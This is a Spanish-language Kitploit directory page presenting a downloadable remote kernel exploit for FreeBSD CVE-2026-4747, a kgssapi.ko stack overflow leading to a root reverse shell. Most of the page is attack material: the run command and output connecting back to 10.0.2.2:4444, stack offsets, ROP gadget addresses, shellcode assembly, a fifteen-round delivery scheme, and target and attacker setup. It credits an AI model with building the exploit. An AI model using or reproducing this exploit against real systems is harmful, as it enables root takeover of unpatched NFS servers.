Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-4747- — Remote kernel exploit for FreeBSD CVE-2026-4747, leveraging a stack buffer overflow in kgssapi.ko to achieve RCE with a reverse shell. Includes multi-round ROP delivery and detailed setup instructions. | Kitploit
Herramientas/GitHubGitHub/kaleth4/cve-2026-4747-
Exploit FrameworksVulnerability AnalysisExploitationReverse EngineeringPayload DevelopmentBinary Exploitation
GitHubkaleth4/cve-2026-4747-

CVE-2026-4747-

Remote kernel exploit for FreeBSD CVE-2026-4747, leveraging a stack buffer overflow in kgssapi.ko to achieve RCE with a reverse shell. Includes multi-round ROP delivery and detailed setup instructions.

Ver Repositorio
1hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-4747: FreeBSD Remote Kernel RCE

First remote kernel exploit both discovered and exploited by an AI


📋 Quick Summary

AspectoDetalle
CVECVE-2026-4747
VulnerabilidadStack buffer overflow en kgssapi.ko (RPCSEC_GSS)
ImpactoRemote Kernel Code Execution → uid 0 reverse shell
AfectadosFreeBSD 13.5, 14.3, 14.4, 15.0 (versiones sin patch)
Descubierto porNicholas Carlini usando Claude (Anthropic)
Fecha de Advisory2026-03-26
Tiempo de Explotación~8 horas (4 horas de trabajo real de Claude)

🎯 Timeline

  • 2026-03-26: FreeBSD publica advisory CVE-2026-4747
  • 9:45 AM PDT 2026-03-29: Se solicita a Claude desarrollar un exploit
  • 5:00 PM PDT 2026-03-29: Claude entrega exploit funcional con reverse shell uid 0

🚀 Demostración en Vivo

root@kitploit:~
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444

Output:

root@kitploit:~
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX) ✓
  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓

  [*] Shellcode delivered and executing
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🔍 ¿Qué Hizo Claude?

Claude resolvió 6 problemas técnicos distintos para pasar de un advisory a un reverse shell funcional:

1️⃣ Configuración del Lab

  • VM FreeBSD 14.4-RELEASE con NFS + Kerberos
  • Requisito crítico: 2+ CPUs (el exploit mata 1 hilo NFS por ronda, necesita 15 rondas)
  • Debugging remoto para leer kernel crash dumps

2️⃣ Entrega Multi-Paquete

  • Shellcode de 432 bytes no cabe en 1 paquete (límite XDR: 400 bytes)
  • Solución: 15 rondas de overflow
    • Ronda 1: pmap_change_prot() → BSS ejecutable
    • Rondas 2-14: Escribe shellcode 32 bytes por ronda
    • Ronda 15: Últimos 16 bytes + salta a shellcode

3️⃣ Salida Limpia de Hilos

  • Cada overflow hijackea un hilo NFS worker
  • Usa kthread_exit() para terminar limpiamente (sin kernel panic)
  • Servidor NFS sigue vivo para la siguiente ronda

4️⃣ Debugging de Offsets (De Bruijn Pattern)

  • Disassembly inicial decía RIP en byte 168 → INCORRECTO
  • Claude envió patrón De Bruijn cíclico
  • Leyó crash dump del kernel → offset real: byte 200
  • Diferencia de 32 bytes: header GSS + manejo de contexto

5️⃣ Transición Kernel → Userland

  • Hilos NFS son kernel threads puros (sin vmspace, sin trapframe)
  • Solución de dos fases:
    • Fase 1: kproc_create() → nuevo proceso con infraestructura user-mode
    • Fase 2: kern_execve("/bin/sh") → carga ELF, configura trapframe, limpia flag P_KPROC
    • Resultado: /bin/sh ejecuta en ring 3 como uid 0

6️⃣ Misterio de Debug Registers (DR7/DDB)

  • Worker crasheaba con trap 1 (debug exception) en instrucción válida
  • Causa: kproc_create() hereda debug registers del padre
  • Panics previos habían activado DDB → breakpoints de hardware persistentes
  • Fix: Limpiar DR7 antes de kproc_create()

🏗️ Arquitectura Técnica

Stack Layout (Verificado con De Bruijn)

root@kitploit:~
Credential body byte → Stack target
[0..35]              → GSS header (version, proc, seq, svc, handle)
[36..151]            → Padding (rpchdr remainder + local vars)
[152..199]           → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207]           → RETURN ADDRESS ← Primer gadget ROP
[208..399]           → ROP chain (192 bytes = 24 qwords)

ROP Gadgets (FreeBSD 14.4-RELEASE)

GadgetDirecciónPropósito
pop rdi; retK+0x1adcdaArg 1 (rdi)
pop rsi; retK+0x1cdf98Arg 2 (rsi)
pop rdx; retK+0x5fa429Arg 3 (rdx)
pop rax; retK+0x400cb4Valor para escribir
mov [rdi], rax; ret0xffffffff80e3457cEscritura arbitraria de 8 bytes

Donde K = 0xffffffff80200000 (kernel base, sin KASLR en FreeBSD 14.x)

Shellcode (432 bytes)

Fase 1 - Entry (Hilo NFS hijacked):

root@kitploit:~
mov rax, 0xffffffff8198bf00    ; Pivote de stack a BSS
mov rsp, rax
xor eax, eax
mov dr7, rax                    ; Limpia breakpoints de hardware
call rbx                        ; kproc_create (preloaded en RBX)
mov rax, kthread_exit
call rax                        ; Termina hilo limpiamente

Fase 2 - Worker (Nuevo proceso kernel):

root@kitploit:~
; Configura argumentos para kern_execve
lea rdi, [rbp - 0x80]          ; &image_args
mov rsi, "/bin/sh"
mov edx, 1                      ; UIO_SYSSPACE
call exec_args_add_fname

; Añade "-c" y comando reverse shell
; ...

; Ejecuta /bin/sh
mov rdi, gs:[0]                 ; curthread
mov rax, [rdi + 0x08]           ; proc
call kern_execve

; Limpia P_KPROC flag
and byte [rax + 0xb8], 0xfb    ; Permite transición a userland
ret                             ; → fork_exit → userret → iretq → ring 3

🛠️ Configuración del Target

Opción A: QEMU (Automatizado con cloud-init)

root@kitploit:~
# Descarga imagen
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G

# Cloud-init config
cat > user-data << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
runcmd:
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - service rpcbind start && service nfsd start
EOF

# Boot con port forwarding
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

Opción B: VMware / VirtualBox / bhyve (Manual)

Requisitos:

  • 2+ CPUs (crítico: 8 hilos NFS/CPU, exploit necesita 15 rondas)
  • 2GB RAM, 8GB disco
  • FreeBSD 14.4-RELEASE

Setup en la VM:

root@kitploit:~
# 1. Instalar Kerberos
pkg install -y krb5

# 2. Crear KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
[realms]
    TEST.LOCAL = {
        kdc = 127.0.0.1
        admin_server = 127.0.0.1
    }
EOF

# 3. Inicializar base de datos KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

# 4. Crear principals (reemplaza "test" con tu hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"

# 5. Iniciar KDC
/usr/local/sbin/krb5kdc

# 6. Configurar NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports

# 7. Habilitar servicios
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start

# 8. Verificar
sysctl vfs.nfsd.threads        # Debe mostrar 16 (con 2 CPUs)
sockstat -l | grep 2049        # Debe mostrar tcp4/tcp6

Setup en Host Atacante (Linux)

root@kitploit:~
# 1. Instalar paquetes
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi

# 2. Configurar /etc/krb5.conf
sudo tee /etc/krb5.conf << EOF
[libdefaults]
    default_realm = TEST.LOCAL
    rdns = false                       # CRÍTICO: evita canonicalización DNS
    dns_canonicalize_hostname = false
[realms]
    TEST.LOCAL = {
        kdc = VM_IP:KDC_PORT           # 127.0.0.1:8888 (QEMU) o 192.168.x.x:88 (bridged)
    }
EOF

# 3. Añadir hostname a /etc/hosts
echo "VM_IP test" | sudo tee -a /etc/hosts

# 4. Obtener ticket Kerberos
echo "password" | kinit [email protected]
klist

# 5. (Opcional) Instalar ROPgadget para encontrar gadgets nuevos
pip install ROPgadget

🎪 Estrategia de Explotación

Ronda 1: Hacer BSS Ejecutable

root@kitploit:~
ROP chain:
  pop rdi          → rdi = 0xffffffff8198a000 (BSS page)
  pop rsi          → rsi = 0x2000 (2 páginas = 8KB)
  pop rdx          → rdx = 7 (VM_PROT_ALL = RWX)
  pmap_change_prot → cambia permisos a RWX
  pop rdi          → rdi = 0
  kthread_exit     → termina hilo limpiamente

Rondas 2–14: Escribir Shellcode

Cada ronda escribe 32 bytes (4 qwords) a BSS:

root@kitploit:~
ROP chain template:
  pop rdi          → rdi = BSS_SC + offset
  pop rax          → rax = shellcode_qword
  mov [rdi], rax   → escribe 8 bytes
  (repetir 3 veces más)
  pop rdi          → 0
  kthread_exit     → termina

Costo: 40 bytes ROP/8 bytes escritura → 15 rondas totales

Ronda 15: Saltar a Shellcode

root@kitploit:~
ROP chain:
  pop rdi          → rdi = BSS_SC + 416
  pop rax          → rax = último qword
  mov [rdi], rax   → escribe
  (repetir)
  BSS_SC           → ¡SALTA A SHELLCODE!

🐛 Desafíos Resueltos

ProblemaCausaSolución
Offset RIP incorrectoDisassembly estático no contaba header GSSPatrón De Bruijn + lectura crash dump
Incompatibilidad MIT/HeimdalCanonicalización DNS hostnamerdns = false + dns_canonicalize_hostname = false
Trap 1 en workerDebug registers heredados de DDBLimpiar DR7 antes de kproc_create()
Shellcode no cabe432 bytes > 400 bytes (límite XDR)Entrega en
Descargar herramienta